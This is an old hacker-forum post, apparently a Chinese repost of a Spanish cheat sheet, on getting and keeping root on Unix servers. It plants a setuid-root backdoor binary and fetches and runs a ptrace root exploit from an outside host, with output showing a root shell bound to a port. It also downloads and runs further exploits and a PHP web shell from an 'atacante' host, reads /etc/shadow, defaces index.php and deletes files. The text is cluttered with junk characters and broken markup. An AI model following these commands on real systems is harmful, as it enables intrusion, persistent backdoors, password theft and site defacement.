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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
' Y: z, o% |4 y( D9 r. {  E: A: l<>1.</P>3 r( X/ R- g- a& f% h3 W
<>[cnbird@localhost tmp]#id</P>
0 w6 g; U+ I7 ~: C- f8 S# S<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>( |  G; I- q$ B' \# {
<>[cnbird@localhost tmp]#cp `which id ` .</P>
7 [# {6 J( a) ^/ d<>[cnbird@localhost tmp]#chown root ./id</P>$ c2 p: Y# ~( h
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>6 U/ U. q+ A& X6 L, ]. V
<>[cnbird@localhost tmp]#ls -l ./id</P>0 g! {5 U  I9 ~" Z5 H
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
; ?/ C+ U( S( j7 J% D1 }" v7 N<>[cnbird@localhost tmp]#exit</P>( S6 B; ?" x2 e* g
<>[cnbird@localhost tmp]$id</P>
. O6 p' q* C8 l, j* s0 c<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
$ Q' |% v( I$ n5 L<>[cnbird@localhost tmp]$./id </P>
$ W+ z) B+ |- }<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
  ?. K3 Y7 M% {- Y9 N" X<>2.利用ptrace成为root的方法</P># z& O' Q& E! Z& p7 x% r
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
3 ~, T$ Z" G  c' P; n-&gt; Parent's PID is 2313. Child's PID is 2314.
! E' {6 p2 m$ F' S  i1 ^-&gt; Attaching to 2315...
1 T; n/ i: ?, U6 m  x5 |  B1 ?+ i. l-&gt; Got the thread!!9 d' d  H) c' K1 O, b4 Q
-&gt; Waiting for the next signal...
) l* t% m7 W# }3 {2 T$ Y. {2 l-&gt; Injecting shellcode at 0x4000e85d
7 j& d* [7 r3 z  L-&gt; Bind root shell on port 24876... =p
2 V  p1 ^; c5 J7 R4 P-&gt; Detached from modprobe thread.- ?2 R; Q. P7 _5 C$ [0 e
-&gt; Committing suicide.....</P>7 C+ H8 G; Z& c
<>[bash]# id
. f8 F- [: N& {% \- luid=0(root) gid=0(root) groups=0(root)</P>
2 H4 X& g2 v9 f5 Y% o<>ara ver los dominios que hay en el server:. k, h6 [7 J& W! v  `* Q, E
---------------------------------------------------------
' s2 H3 v; A2 N* @' m& f6 [cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
8 z& \3 \8 U, [4 ^1 F' D( t2 z* |cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios% T1 l6 a) q! V0 H. f
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales: w! [' j6 R6 S+ x
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
; I" G$ M9 l/ b3 m3 pcat /etc/userdomains &lt;&lt; Este es el mas comun
- J' J" O- d. H' X% i: x---------------------------------------------------------</P>9 R6 I% W2 X$ N- E, V: t* l' U
<>ara ver la version de kernel:+ ~: @2 W1 D8 d8 t3 l  w
---------------------------------------------------------" I( L; f8 S: i. M& b* e
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
6 M, i1 F3 x! f0 y' C---------------------------------------------------------</P>! `* Z8 C2 [8 M, S: o5 j9 f2 \
<>ara modificar un index ya existente:# U$ a5 e9 }5 y1 t& E5 N; D& G- m6 E
---------------------------------------------------------* A/ I$ l; U) G7 n. x- g  d9 o
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
: o; E4 m% |- R/ `" |/ K( U---------------------------------------------------------</P>
. J, {" r. n4 L  I<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
% F- H8 N7 Y* J: t  u---------------------------------------------------------
  Q5 W1 x. h/ A3 `8 o/ B5 \cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
# m3 ~# P# v% [" w8 b0 {8 H9 acd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
1 j- G% X3 ~8 U3 H9 i% Lcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
. H9 g+ s  Z* W5 G! B: Vcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
5 s. f1 H" k# d, S- d) _& j7 BHasta aqui termina el proceso para un exploit.) C) F8 q4 u1 a  x
---------------------------------------------------------</P>
* B$ i0 ?0 ^. a; x$ D<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
2 _/ e" h& _8 H( H) ]! Z---------------------------------------------------------5 t0 P8 B2 p7 n- v1 K0 A
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
2 h* s2 t3 a7 g6 W' _: U---------------------------------------------------------</P>. F& r( n/ G  }6 y4 l
<>Borrar un Ficher
4 M7 L+ W6 [, q1 J  `---------------------------------------------------------8 y  h! c4 r( W) G
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm9 j1 X! W0 y4 b
---------------------------------------------------------</P>
1 I0 N# W! u  h/ Y0 E  c<>Subir un ficher
; k  A6 A1 I4 }: @; V: Q3 C  n7 ^---------------------------------------------------------
' x; _  C: \# jcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>3 F- d: i/ G2 j2 p
<>; p$ Z# J, e( n. a; |
<CENTER></CENTER>
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